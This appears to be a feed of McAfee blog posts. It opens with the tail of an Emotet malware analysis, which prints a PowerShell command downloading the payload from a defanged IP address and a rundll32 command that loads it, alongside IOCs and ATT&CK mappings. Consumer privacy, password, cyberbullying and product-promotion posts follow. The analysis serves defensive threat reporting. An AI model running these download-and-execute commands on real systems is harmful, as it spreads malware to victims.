The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.

cmd line (New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’)

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

cmd line cmd  /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString

IOC

TYPE VALUE SCANNER DETECTION NAME
XLS 06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c McAfee LiveSafe and Total Protection X97M/Downloader.nn
DLL a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3 McAfee LiveSafe and Total Protection

 

Emotet-FSY
HTML URL http://185[.]7[.]214[.]7/fer/fer.html

http://46[.]105[.]81[.]76/c.html

WebAdvisor Blocked
DLL URL http://185[.]7[.]214[.]7/fer/fer.png

http://46[.]105[.]81[.]76/cc.png

WebAdvisor Blocked

MITRE ATT&CK

TECHNIQUE ID TACTIC TECHNIQUE DETAILS DESCRIPTION
T1566 Initial access Phishing attachment Initial maldoc uses phishing strings to convince users to open the maldoc
T1204 Execution User Execution Manual execution by user
T1071 Command and Control Standard Application Layer Protocol Attempts to connect through HTTP
T1059 Command and Scripting Interpreter Starts CMD.EXE for commands execution Excel uses cmd and PowerShell to execute command
T1218

 

Signed Binary Proxy Execution Uses RUNDLL32.EXE and MSHTA.EXE to load library rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript

Conclusion

Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.

Privacy in Practice: Securing Your Data in 2022 and Beyond

By McAfee

Every year we can count on new technology to make our lives easier. Right? As beneficial and convenient as tech can be, it can also pose risks to our online safety and privacy—risks that we should be prepared to handle. Increasingly, we’re seeing governments around the world implementing stricter privacy laws. And even major players like Google are phasing out invasive tracking technology like cookies. However, when it comes to activities like banking, shopping, taxes, and more, the need for broader online privacy protection has never been greater. Let’s take a look at some prominent trends in the way we now live online and how we can protect our data.  

Web3

Crypto, the blockchain, NFTs, tokens – all of these terms are considered part of what’s being termed Web3. Whereas Web 2.0 described an internet made up of large corporations hosting content and consumers, Web3 is governed by the blockchain. What this means is that applications use a decentralized online ledger to document transactions of all sorts. The most famous example is bitcoin, a blockchain that acts as a digital currency. Another example would be NFTs, which are digital works of art. Web3 may be in its infancy, but it’s important to consider what this means for privacy and data protection. Blockchain affords users anonymity in regards to currencies like bitcoin. Of course that means bitcoin also has a reputation as the currency of choice for money-launderers and other shady enterprises. Still, that means it’s good for privacy, right? Well, maybe. The EU’s GDPR rights to erase or amend data are at odds with transactions on a blockchain, which are essentially unchangeable. So if you’re buying cryptocurrency, NFTs, or interacting with blockchains in other ways, just understand your personal information might be hidden, but the record of your transactions is totally visible. 

Tip: If you’re keeping cryptocurrencies in an online wallet, you’ll want to use an identity protection service to monitor those account credentials so you can be warned of breaches and leaks onto the dark web. 

 Education

Student privacy is a top concern as households turn to remote learning. In a rush to optimize remote learning experiences in the face of a rapidly evolving digital landscape, many educators and remote learners may not realize the hazards that put student privacy at risk. 

Since 2020, schools have adopted a range of technologies to optimize the digital classroom, including virtual learning platforms, holistic learning solutions, and even social media applications. However, many of these digital platforms are not designed for child usage, nor do they have privacy policies in place to ensure that the student data gathered is protected. Many learning platforms may even treat student data as consumer data, raising more red flags regarding student data privacy and compliance. Online learning has also garnered the attention of cybercriminals looking to exploit student data, resulting in online bullying, identity theft, and more. 

For educators and parents alike, knowledge is the greatest asset to mitigating the risks of remote learning. IT teams and educators must understand the implications of the student data they collect, govern access to it, and control its usage to comply with child privacy regulations. Parents can take proper precautions by discussing the importance of privacy with their children. Keeping learning platforms up to date and monitoring their children to prevent them from downloading suspicious apps or straying to unknown websites are all ways to ensure safer remote learning environments. 

Tip: Getting a VPN for the family to use is a great way to safeguard your privacy while your kids are learning online. 

Work

Remote work has become commonplace nowadays as more companies permit their employees to work from home long-term and, for some, permanently. In a recent Fenwick poll among HR, privacy, and security professionals across industries, approximately 90% of employees now handle intellectual property, confidential, and personal information in their homes. Endpoint security, or the protection of end-user devices such as our laptops and mobile devices, poses more of a concern as employees trade in office networks for their in-home Wi-Fi. If these devices and networks are unsecured or if the data is not encrypted, employees run the risk of exposing sensitive information to hackers. Those of us working from home can help ensure the safety of our company’s confidential information by boosting our awareness of security threats and prevention measures via company-mandated security training.  

Tip: McAfee’s Protection Score is a great way to understand how protected you are online and what you can do to stay more secure 

The Metaverse

This buzzy term is being used to describe Meta’s (previously Facebook) vision for a fully connected future. Right now it exists as an AR/VR space accessible through Meta’s own VR hardware, Oculus. However, the terminology has caught on as a catch-all for platforms that may contain work, business, gaming, entertainment, social interactions, and more in one easily navigable, immersive online setting. Web3 features, like blockchain, NFTs, and cryptocurrencies are being touted as integral parts of the metaverse. As exciting and futuristic as this is, there are major privacy questions that will have to be answered. This means that as customers you’ll want to think hard about what you choose to share through the metaverse and look into the privacy settings a platform offers you.  

Tip: Use comprehensive online protection. McAfee Total Protection secures all aspects of your life online. From identity to online connections to antivirus, a full security suite like Total Protection keeps you and your family safer on all the devices you use and places you go online. 

 Personal Finances

Some of the platforms I use the most allow me to keep track of and manage my finances. Whether it’s my mobile banking app or taking advantage of online tax filing, there is such a convenience in having the ability to pay bills, deposit checks, and more, all with the devices I use every day. But many of us may not realize just how much trust we put into these platforms to protect our online privacy, especially when we don’t have a clear picture of who exactly is on the other end of our online transactions. 

While recognizing the signs of online banking and tax-related fraud helps ease the burdens associated with these schemes, there are multiple steps users can take to prevent becoming a victim of these scams in the first place.  

Tip: Full-featured identity protection will protect you financially. Services like McAfee Identity Protection Service include credit checks, identity theft restoration, and even stolen fund restoration as benefits. 

Digital devices are part of how we live our lives every day, whether we’re taking conference calls on our laptops, tracking the latest mile on our smartwatches, or banking on the go. Although our everyday digital devices make our lives that much more convenient, securing them makes our lives that much safer by minimizing online threats to ourselves and those around us. Safeguarding the digital platforms we use for work, school, finances, you name it, is the first step to ensuring our private information remains just that—private. 

The post Privacy in Practice: Securing Your Data in 2022 and Beyond appeared first on McAfee Blog.

It’s Data Privacy Day: Here’s How to Stay Protected in 2022

By McAfee

When you logged on to your computer this morning, data privacy probably wasn’t the first thing you were thinking about. The same goes for when you opened your phone to catch up on social media and check emails, turned on your smart TV for a family movie night, or all the other ways we routinely use our connected devices in our everyday lives.  

Although we live in an increasingly connected world, most of us give little thought to data privacy until after our personal information has been compromised. However, we can take proactive steps to help ourselves and our loved ones navigate this environment in a safe way. On January 28th – better known as Data Privacy Day – we have the perfect opportunity to own our privacy by taking the time to safeguard data. By making data privacy a priority, you and your family can enjoy the freedom of living your connected lives online knowing that your information is safe and sound.  

Data Security vs. Data Privacy 

Did you know that there is a difference between data security and data privacy? Although the two are intimately intertwined, there are various characteristics of each that make them different. National Today3 provides a useful analogy to define the two:  

  • Data security is like putting bars on your windows to make it difficult for someone to break into your home (guarding against potential threats).  
  • Data privacy is like pulling down the window shades so no one can look inside to see what you are wearing, who lives with you, or what you’re doing (ensuring that only those who are authorized to access the data can do so).   

At this point, we already know not to share our passwords or PIN numbers with anyone. But what about the data that is collected by companies every time we sign up for an email newsletter or make an online account? Oftentimes, we trust these companies to guard the personal data they collect from us in exchange for the right to use their products and services. However, the personal information collected by companies today is not regarded as private by default, with a few exceptions. For this reason, it’s up to us to take our data privacy into our own hands.  

The Evolution of Data Breaches  

Because we spend so much of our day online, plenty of our information is available on the internet. But what happens if one of your favorite online retailers experiences a data breach? This is the reality of the world we live in today, as data breaches have been on the rise and hackers are continuously finding clever, new ways to access our devices and information.   

Thanks to the COVID-19 pandemic, we’ve become more reliant on technology than ever before. Whether it be for distance learning, online shopping, mobile banking, or remote work, we’ve all depended on our devices and the internet to stay connected. But with more time online comes more opportunities for cybercriminals to exploit. For example, with the massive increase in remote work since the onset of the pandemic, hackers have hijacked online meetings through a technique called ‘Zoombombing4.’ This occurred after the online conferencing company shared personal data with Facebook, Google, and LinkedIn. Additionally, the number of patient records breached in the healthcare industry jumped to 21.3 million in the second half of 2020 due to the increase in remote interactions between patients and their providers5 

When it comes to data breaches, any business is a potential target because practically every business is online in some way. When you put this in perspective, it’s important to consider what information is being held by the companies that you buy from. While a gaming service will likely have different information about you than your insurance company, you should remember that all data has value, and you should take steps to protect it like you would money.  

Protecting Your Privacy With McAfee  

Your browsing history and personal information are private, and we at McAfee want to keep it that way. By using McAfee Secure VPN, you can browse confidently knowing that your data is encrypted.  

To further take control of your data privacy, monitor the health of your online protection with McAfee’s Protection Score. This tool provides simple steps to improve your security and allows you to know how safe you are online, which is the first step towards a safer, more confident connected life. Check your personal protection score here

Here are a few more tips to keep you on top of your data privacy game:  

1. Update your privacy and security settings. Begin with the websites and apps that you use the most. Check to see if your accounts are marked as private, or if they are open to the public. Also, look to see if your data is being leaked to third parties. You want to select the most secure settings available, while still being able to use these tools correctly.  

2. Lock down your logins. Secure your logins by making sure that you are creating long and unique passphrases for all your accounts. Use multi-factor identification, when available. 

3. Protect your family and friends. You can make a big difference by encouraging your loved ones to protect their online privacy. By helping others create solid safety habits as they build their digital footprints, it makes all of us more secure. 

Follow the conversation this Data Privacy Day by following #PrivacyAware and #DataPrivacyDay on social media. 

The post It’s Data Privacy Day: Here’s How to Stay Protected in 2022 appeared first on McAfee Blog.

Passwords are Like Toothbrushes – Not to Be Shared!!

By Alex Merton-McCann

Sometimes, I feel that my brain is full! We are all bombarded with information on so many fronts and quite frankly, I often feel like I don’t have room for much more! A quick scroll on my socials and I’m inundated with news from friends (which I love) plus ads plus multiple news updates. I open my emails, and the same happens! So much information!! So little time! 

So, in the spirit of being brief and not overloading, I’m going to focus on one easy yet powerful way you can make a positive impact on your online safety – how you manage your password. Of course, I could add many more strategies to this list but let’s keep it simple – our brains are full!! 

Why Are Passwords So Important? 

Passwords are the key to everything we do online. Whether we are logging in to our emails, social media platforms, online banking, or favorite shopping websites – your password is your way in. And if you’re anything like me, you probably have multiple passwords. The last time I checked, I had over 100 different passwords stored in my True Key password manager! 

These small codes are so incredibly important because in short, they are the only thing stopping a hacker from accessing your online accounts. In many cases, they are your only defense strategy against a hacker taking over your accounts and creating havoc.  

Fortunately, there are several steps we can take to ensure we nail this password thing and minimize the risk of being hacked. Here are my top five: 

1. Don’t Share Your Passwords – no exceptions!! 

I have been saying to my kids for years: passwords are like toothbrushes – they are NOT to be shared! No exceptions. It doesn’t matter how much you love your best friend or girlfriend, your password is your password. When you are young and donning rose-colored glasses, you often don’t factor in that things can change. Relationships can sour and romance can die. If someone has access to your online accounts and they have hurt feelings then they have an opportunity to create chaos. And we’ve all read the stories… 

2. Use Different Passwords For Each Account 

Yes, I agree – this is a big pain! But it is probably one of the best ways of protecting yourself and here’s why. If you use the same password for each of your online accounts and your account is hacked then the hacker has access to all of your online accounts: your social media platforms, your banking, your entire life!  

3. Turn On 2 Factor Authentication Where Possible 

It will add another step to your login process but choosing 2-factor authentication (or multi-factor authentication) is another small yet powerful way to keep your password secure by adding another layer of protection to your passwords. In most cases, the additional factor is a code or a token sent to your mobile phone. Sometimes, a separate app can also be used to generate a code or token that will confirm it is really you trying to log in! 

4. Create Long and Complex Passwords 

Some experts believe length is more important than complexity but I say embrace both! If you can create a complex 16 character password that includes lower and upper case letters, numbers and symbols then you are doing very well! I am personally a fan of the crazy, nonsensical sentence. For example – GrassisRed&Blue7 – silly, nonsensical but memorable. I believe it’s all about making them hard to guess but easy to remember. And remember to NEVER use information in your passwords that other people might know about you or that is also included in your social media accounts eg your kids’ or pet’s names. 

5. Use A Password Manager 

I am sure my longevity has improved dramatically since using a password manager! Password managers, or vaults, are an absolute no-brainer. Not only do they store your passwords securely across your chosen devices, but they also help you create complex passwords that no human could even contemplate. I have it installed on both my laptop and my phone and it works seamlessly between both devices. It’s time to throw away your little black book of passwords, people! You’ll never look back once this whole password management process is automated. 

So, if you’re feeling a little overwhelmed at where to start with your digital safety this New Year then I implore you to make this one small change. Nailing your password strategy is without doubt one of the best ways of shoring up your online safety!  

Happy New Year!! 

Alex xx 

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Can Apple Macs get Viruses?

By McAfee

It’s a long-standing question. Can Apple Macs get viruses?

While Apple does go to great lengths to keep all its devices safe, this doesn’t mean your Mac is immune to all computer viruses. So what does Apple provide in terms of antivirus protection? Let’s take a look along with some signs that your Mac may be hacked and how you can protect yourself from further threats beyond viruses, like identity theft.

Signs that your Mac may be hacked

Whether hackers physically sneak it onto your device or by tricking you into installing it via a phony app, a sketchy website, or a phishing attack, viruses and malware can create problems for you in a few ways:

  • Keylogging: In the hands of a hacker, keylogging works like a stalker by snooping information as you type.
  • Trojans: Trojans are type of malware that can be disguised in your computer to extract important data, such as credit card account details or personal information.
  • Cryptominers: Similar to trojans, this software hides on a device. From there, it harnesses the device’s computing power to “mine” cryptocurrencies. While cryptomining is not illegal, “cryptojacking” a device without the owner’s consent is most certainly illegal.

Some possible signs of hacking software on your Mac include:

Performance issues

Is your device operating more slowly, are web pages and apps harder to load, or does your battery never seem to keep a charge? These are all signs that you could have malware running in the background, zapping your device’s resources.

Your computer feels like it’s running hot

Like the performance issues above, malware or mining apps running in the background can burn extra computing power (and data). Aside from sapping performance, malware and mining apps can cause your computer to run hot or even overheat.

Mystery apps or data

If you find apps you haven’t downloaded, along with messages and emails that you didn’t send, that’s a red flag. A hacker may have hijacked your computer to send messages or to spread malware to your contacts. Similarly, if you see spikes in your data usage, that could be a sign of a hack as well.

Pop-ups or changes to your screen

Malware can also be behind spammy pop-ups, changes to your home screen, or bookmarks to suspicious websites. In fact, if you see any configuration changes you didn’t personally make, this is another big clue that your computer may have been hacked.

What kind of antivirus do Macs have?

Macs contain several built-in features that help protect them from viruses:

  • XProtect and Automatic Quarantine: XProtect is Apple’s proprietary antivirus software that’s been included on all Macs since 2009. Functionally, it works the same as any other antivirus, where it scans files and apps for malware by referencing a database of known threats that Apple maintains and updates regularly. From there, suspicious files are quarantined by limiting their access to the Mac’s operating system and other key functions. However, .
  • Malware Removal Tool: To further keep Apple users protected, the Malware Removal Tool (MRT) scans Macs to spot and catch any malware that may have slipped past XProtect. Similar to XProtect, it relies on a set of constantly updated definitions that help identify potential malware. According to Apple, MRT removes malware upon receiving updated information, and it continues to check for infections on restart and login.
  • Notarization, Gatekeeper, and the App Review Process: Another way Apple keeps its users safe across MacOS and iOS devices is its Notarization Apps built to run on Apple devices go through an initial review before they can be distributed and sold outside of Apple’s App Store. When this review turns up no instances of malware, Apple issues a Notarization ticket. That ticket is recognized in another part of the MacOS, Gatekeeper, which verifies the ticket and allows the app to launch. Additionally, if a previously approved app is later to found to be malicious, Apple can revoke its Notarization and prevent it from running.

Similarly, all apps that wish to be sold on the Apple App Store must go through Apple’s App Review. While not strictly a review for malware, security matters are considered in the process. Per Apple, “We review all apps and app updates submitted to the App Store in an effort to determine whether they are reliable, perform as expected, respect user privacy, and are free of objectionable content.”

Do I need to purchase antivirus for my Mac?

There are a couple reasons why Mac users may want to consider additional protection in addition to the antivirus protection that Mac provides out of the box:

  1. Apple’s antivirus may not recognize the latest threats. A component of strong antivirus protection is a current and comprehensive database of virus definitions. As noted above, , leaving Mac owners who solely rely on XProtect and other features susceptible to attack.
  2. Apple’s built-in security measures for Macs largely focus on viruses and malware alone. While protecting yourself from viruses and malware is of utmost importance (and always will be), the reality is that antivirus is not enough. Enjoying the life online today means knowing your privacy and identity are protected as well.

In all, Macs are like any other connected device. They’re susceptible to threats and vulnerabilities as well. Looking more broadly, there’s the wider world of threats on the internet, such as phishing attacks, malicious links and downloads, prying eyes on public Wi-Fi, data breaches, identity theft, and so on. It’s for this reason Mac users may think about bolstering their defenses further with online protection software.

 Further protecting your Mac from viruses and attacks

Staying safer online follows a simple recipe:

  • Being aware of the threats that are out there.
  • Understanding where your gaps in protection are.
  • Taking steps to protecting yourself from those threats and closing any gaps as they arise.

Reading between the lines, that recipe can take a bit of work. However, comprehensive online protection can take care of it for you. In particular, McAfee Total Protection includes an exclusive Protection Score, which checks to see how safe you are online, identifies gaps, and then offers personalized guidance, and helping you know exactly how safe you are.

An important part of this score is privacy and security, which is backed by a VPN that turns on automatically when you’re on an unsecure network and personal information monitoring to help protect you from identity theft—good examples that illustrate how staying safe online requires more than just antivirus.

Consider your security options for your Mac

So, Macs can get viruses and are subject to threats just like any other computer. While Macs have strong protections built into them, they may not offer the full breadth of protection you want, particularly in terms of online identity theft and the ability to protect you from the latest malware threats. Consider the threats you want to keep clear of and then take a look at your options that’ll help keep you safe.

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Cyberbullying: Words do Hurt When it Comes to Social Media

By Toni Birdsong

Most parents may find it difficult to relate to today’s form of cyberbullying. That’s because, for many of us, bullying might have come in a series of isolated, fleeting moments such as an overheard rumor, a nasty note passed in class, or a few brief hallway confrontations. 

Fast forward a few dozen decades, and the picture is spectacularly different and a world few adults today would eagerly step into.  

Cyberbullying includes targeting that is non-stop. It’s delivered digitally in an environment that is often anonymous. It’s a far-reaching, esteem-shattering, emotional assault. And the most traumatic component? The perpetual nature of the internet adds the ever-present threat of unlimited accessibility—kids know bullying can happen to anyone, at any time, and spread like wildfire.   

The nature of cyberbullying can make a young victim feel hopeless and powerless. Skipping school doesn’t stop it. Summer vacation doesn’t diminish it. That’s because the internet is ever-present.   

According to a 2020 Ditch the Label Cyberbullying Study, youth today reveal that carrying the emotional weight of being “connected all the time” is anything but fun and games. Here’s a snapshot. 

  • Bullying has increased by 25% each year since the survey’s inception in 2006.   
  • 46 % of the respondents reported being bullied more than once, and 20% reported bullying others on social networking sites. 
  • 33% of young people surveyed said that they believe the behavior of politicians influences how people treat each other at school. 
  • 25% of those surveyed say they feel “lonely all of the time.” (Executive commentary added that since the onset of the pandemic onset, those numbers have increased).  
  • 50% of those bullied felt targeted because of attitudes towards their physical appearance.  
  • 14% of respondents said they never like themselves; 24% said they do but rarely. 
  • 42% of youth respondents revealed they have battled with anxiety. 
  • 25% said they deal with depression; 21% with suicidal thoughts. 
  • Leading mental health stressors include school pressures, exams, body image, feelings of loneliness, and grief.  

Who Is Most Vulnerable? 

While all kids are at risk for cyberbullying, studies reveal that some are more vulnerable than others.  

According to the Pew Research Center, females experience more cyberbullying than their male counterparts; 38% of girls compared to 26% of boys. Those most likely to receive a threatening or aggressive text, IM, or email: Girls ages 15-17.  

More data from the CDC and American University reveals that more than 28.1 % of LGBTQ teens were cyberbullied in 2019, compared to 14.1% of their heterosexual peers. In addition, Black LGTBQ youth are more likely to face mental health issues linked to cyberbullying and other forms of bullying as compared to non-Black LGTBQ and heterosexual youth.  

Another community that can experience high cyberbullying is gamers. If your child spends a lot of time playing online games, consider paying close attention to the tone of conversations, the language used, your child’s demeanor during and after gaming, and, as always, stay aware of the risks. In a competitive gaming environment that often includes a variety of age groups, cyberbullying can quickly get out of control.  

Lastly, the reality no parent wants to confront—but one that is critical to the conversation—is that cyberbullying and suicide may be linked in some ways. According to JAMA Pediatrics, approximately 80% of young people who commit suicide have depressive thoughts, and in today’s online environment, cyberbullying often leads to more suicidal thoughts than traditional bullying.  

5 Things Parents Can Do 

  1. Be a Plugged-In Parent. If you haven’t already, make 2022 the year you double up your attention to your kids’ online activities and how they might be impacting them emotionally. Kids connect with new people online all the time through gaming platforms, group chats, and apps. Engage them. Understand what they like to do online and why. Be aware of shifts in behavior, grades, and sleeping patterns. Know the signs that they may be experiencing online bullying.   
  2. Layer Up Your Power. Kids need help with limits in a world of unlimited content and parents get busy. One remedy for that? Consider allowing technology to be your parenting partner—additional eyes and ears if your will—to help reduce the risk your kids face online. Parental controls on family devices can help you pay closer attention to your child’s social media use and assist you in filtering the content that’s rolling across their screens. Having the insight to connect your child’s mood to the time they spend on specific apps may provide a critical shortcut to improving their overall wellbeing.  
  3. Prioritize Community. Feeling supported and part of a solid offline community can make a significant difference in a child’s life. One survey of teens aged 12-17 found that social connectedness played a substantial role in reducing the impact of cyberbullying. 
  4. Don’t prohibit, limit. If you know your child is having a tough time online, it’s important not to overreact and restrict device use. They need peer connection. It’s their culture. Consider helping them balance their time and content online. Please talk about the pros and cons of specific apps, role play, teach them how to handle conflict, and encourage hobbies and meetups that are not technology dependent.  
  5. Provide Mental Health Support. We are living in unique times. The digital, cultural, social, political, and health concerns encircling our kids remain unmatched. Not all signs of emotional distress will be outward; some will be subtle, and some, even non-existent. That’s why it’s essential to consistently take the time to assess how your child is doing. Talk with your kids daily, and when you notice they may need additional help, be prepared to find resources to help 

Conclusion 

Each new year represents 365 new days and 365 new chances to do things a little bit better than we’ve done them in the past. And while it’s impossible to stop our kids from wandering into the crossfire of hurtful words online, we can do everything possible to reduce their vulnerability and protect their self-esteem.  

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How to Protect Your Social Media Accounts

By McAfee

Social media is part of our social fabric. So much so that nearly 50% of the global population are social media users to some degree or other. With all that sharing, conversing, and information passing between family and friends, social media can be a distinct digital extension of ourselves—making it important to know how you can protect your social media accounts from hacks and attacks. 

Beyond the sheer number of people who’re on social media, there’s also the amount of time we spend on it.  People worldwide spend an average of 145 minutes a day on social media. With users in the U.S. spending just over two hours on social media a day and users in the Philippines spending nearly four hours a day, that figure can vary widely. Yet it’s safe to say that a good portion of our day features time scrolling and thumbing through our social media feeds. 

Given how much we enjoy and rely on social media, now’s a fine time to give your social media settings and habits a closer look so that you can get the most out of it with less fuss and worry. Whether you’re using Facebook, Instagram, TikTok, or whatnot, here are several things you can do that can help keep you safe and secure out there: 

1. Set strong, unique passwords

Passwords mark square one in your protection, with strong and unique passwords across all your accounts forming primary line of defense. Yet with all the accounts we have floating around, juggling dozens of strong and unique passwords can feel like a task—thus the temptation to use (and re-use) simpler passwords. Hackers love this because one password can be the key to several accounts. Instead, try a password manager that can create those passwords for you and safely store them as well. Comprehensive security software will include one. 

2. Go private

Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy. 

3. Say “no” to strangers bearing friend requests

Be critical of the invitations you receive. Out-and-out strangers could be more than just a stranger, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q3 of 2021 alone, Facebook took action on 1.8 billion fake accounts. Reject such requests. 

4. Think twice before checking in

Nothing says “there’s nobody at home right now” like that post of you on vacation or sharing your location while you’re out on the town. In effect, such posts announce your whereabouts to a broad audience of followers (even a global audience, if you’re not posting privately, as called out above). Consider sharing photos and stories of your adventures once you’ve returned.  

5. The internet is forever

It’s a famous saying for a reason. Whether your profile is set to private or if you are using an app with “disappearing” messages and posts (like Snapchat), what you post can indeed be saved and shared again. It’s as simple as taking a screenshot. If you don’t want it out there, forever or otherwise, simply don’t post it. 

6. Watch out for phishing scams

We’re increasingly accustomed to the warnings about phishing emails, yet phishing attacks happen plenty on social media. The same rules apply. Don’t follow any links you get from strangers by way of instant or direct messengers. And keep your personal information close. Don’t pass out your email, address, or other info as well. Even those so-called “quiz” posts and websites can be ruses designed to steal bits and pieces of personal info that can be used as the basis of an attack. 

7. Also keep an eye out for scams of all kinds

Sadly, social media can also be a place where people pull a fast one. Get-rich-quick schemes, romance cons, and all kinds of imposters can set up shop in ads, posts, and even direct messages—typically designed to separate you from your personal information, money, or both. This is an entire topic to itself, and you can learn plenty more about quizzes and other identity theft scams to avoid on social media 

8. Review your tags

Some platforms such as Facebook allow users to review posts that are tagged with their profile names. Check your account settings and give yourself the highest degree of control over how and where your tags are used by others. This will help keep you aware of where you’re being mentioned by others and in what way. 

9. Protect yourself and your devices

Security software can protect you from clicking on malicious links while on social media while steering you clear of other threats like viruses, ransomware, and phishing attacks. It can look out for you as well, by protecting your privacy and monitoring your email, SSN, bank accounts, credit cards, and other personal information. With identity theft a rather commonplace occurrence today, security software is really a must. 

10. Check your Protection Score and see how safe you are

Now you can point to a number that shows you just how safe you are with our Protection Score. It’s an industry first, and it works by taking stock of your overall security and grading it on a scale of 0 to 1,000. From there, it calls out any weak spots and then walks you through the steps to shore it up with personalized guidance. This way, you’re always in the know about your security, privacy, and personal identity on social media and practically wherever else your travels take you online.

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McAfee Wins Product of the Year for Best Online Protection

By McAfee

You can feel even more confident that you’ll enjoy life online with us at your side. AV-Comparatives has awarded McAfee as its 2021 Product of the Year.

McAfee makes staying safe simple, and now this endorsement by an independent lab says we protect you best.

Over the course of 2021, AV-Comparatives subjected 17 different online protection products to a series of rigorous tests. Their labs investigated each product’s ability to protect against real-world Internet threats, such as thousands of emerging malicious programs and advanced targeted attacks, along with the ability to provide protection without slowing down the computer.

McAfee topped the field, taking home the award for AV-Comparatives’ Product of the Year thanks to our highest overall scores across the seven different testing periods throughout the year. McAfee further took a Gold Award for the Malware Protection Test, in addition to recognition for its clean, modern, and touch-friendly design and for the way that McAfee Firewall coordinates perfectly with Windows.

“We’re honored by the recognition,” says Chief Technology Officer, Steve Grobman. “The strong reputation that AV-Comparatives carries in the industry cements our place as a leader in online protection.” He goes on to say, “Our work continues. The internet is evolving to be integral to every part of our lives. This creates new opportunities for cybercriminals and drives the evolution of the threat landscape. McAfee is committed to staying one step ahead of these sophisticated threats, ensuring customers can safely utilize the full value of our online world.”

Read the full AV-Comparatives annual report and protect yourself and your family with the year’s top-rated antivirus. Give it a look for yourself with a free 30-day trial of McAfee Total Protection, which includes McAfee’s award-winning anti-malware technology plus identity monitoring, Secure VPN, and safe browsing for an all-in-one online protection.

McAfee’s Product of Year Award from AV-Comparatives
McAfee’s Product of Year Award from AV-Comparatives

The post McAfee Wins Product of the Year for Best Online Protection appeared first on McAfee Blog.

Today’s Trends: Consumers Prioritize Protection Over Convenience

By McAfee

People have made it clear. They’re feeling more exposed to online threats and want stronger protection.

Our 2022 Trends Study puts figures to these feelings, saying that they believe the risks to their online privacy have increased over the past year. Moreover, 42% believe the risks to their personal and financial information have increased as well.

These findings come as more consumers shift their daily lives online, with greater use of internet banking, more investment in virtual assets, and a proliferation of online activities due to COVID-19. A lot more sensitive personal information is being stored and shared on the web, which is putting increased pressure on passwords and security measures.

As more sensitive personal information is being stored and shared on the web, people are showing a strong preference for increased security overall. For example, when asked to choose between connecting with others from anywhere to always being fully protected, the response was overwhelming in favor of strong protection (63%) over ease of connection (16%). The same sentiment extended to the workplace, where “work meetings that are guaranteed seamless” trailed significantly at 14% versus “meetings that are guaranteed secure” at (62%).

Curious as to what steps you can take to be safer online? A few tools along with a few good habits can go a long way toward keeping your privacy and identity secure.

1. Install and use online protection software: By protecting your devices, you protect what’s on them, like your personal information. Comprehensive online protection software can protect your identity in several ways, like steering you clear of malicious downloads and links, protecting your email from phishing attacks, and providing you with a digital shredder that can permanently remove sensitive documents from your computer (simply deleting them won’t do that alone).

2. Use a VPN: A VPN is a Virtual Private Network, a service that protects your data and privacy online. It creates an encrypted tunnel to keep you anonymous by masking your IP address while connecting to public Wi-Fi hotspots. This is a great way to shield your information from crooks and snoops while you’re banking, shopping, or handling any kind of sensitive information online.

3. Improve your passwords and use multi-factor authentication (MFA): Strong, unique passwords for each of your accounts, updated regularly, offer a strong line of defense against attackers. While this may require a bit of effort, a password manager can do the work for you by securely creating and storing strong, unique passwords for you. Comprehensive online protection software will include a password manager as one of its many features. Additionally, MFA adds yet another layer of security by double-checking your identity beyond your username and password, usually with a text or email. If any of your accounts offer MFA, consider using it.

4. Monitor your accounts: Give your statements a close look each time they come around. While many companies and institutions have fraud detection mechanisms in place, they don’t always catch every instance of fraud. Look out for strange purchases or charges and follow up with your bank or credit card company if you suspect fraud. Even the smallest charge could be a sign that something shady is afoot.

5. Check your credit report: This is a powerful tool for spotting identity theft. And in many cases, it’s free to do so. In the U.S., the Fair Credit Reporting Act (FCRA) requires the major credit agencies to provide you with a free credit check at least once every 12 months. Canada provides this service, and the UK has options to receive free reports as well, along with several other nations. It’s a great idea to check your credit report, even if you don’t suspect a problem.

6. Consider using identity protection: In addition to checking your own credit report, an identity protection service provides yet deeper monitoring of your personal information. Identity protection such as ours monitors up to 60 different pieces of vital personal information and notifies you of potential misuse—up to ten months sooner than similar services. In addition to this around-the-clock monitoring, it also provides up to $1 million in coverage for lawyer fees, travel expenses, lost wages, and more.

 

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The Dark Web: A Definitive Guide

By McAfee

The internet has opened up wonderful new possibilities in our world, making life easier on many levels. You can pay your bills, schedule your next family vacation, and order groceries with the click of a button. While the internet offers many positive benefits, it also has some negatives. Although not entirely used for illicit purposes, the dark web is one part of the internet that can be used by criminals for illegal purposes, like selling stolen personal information.

But just what is the dark web? Basically, it’s a part of the internet that isn’t indexed by search engines. As an average internet user, you won’t come across the dark web since you need a special browser to access it. It’s certainly not something you need to stress about in your day-to-day browsing, and you shouldn’t let it scare you off the internet. Unless you actively seek it out, you’ll likely never have any contact with the dark web in your lifetime.

A better understanding of what the dark web is and the possible threats it contains can help you protect yourself, though. This guide provides the essential information you need, explaining the different levels of the web and revealing how you can stay safe. With this knowledge, you can continue to browse online with confidence. Find out more below.

What is the dark web?

The “dark web” refers to websites that aren’t indexed by search engines like Google and Bing. This might seem strange since most people want their websites to be found through specific searches. Practices like search engine optimization (SEO) are specifically implemented to help websites perform well and rank higher in search engine results.

So, why would someone not want their website to be picked up by a search engine? The primary purpose is to preserve privacy and anonymity. The individuals and organizations on the dark web often engage in illegal activities and want to keep their identities hidden — something that is difficult to do with an indexed website.

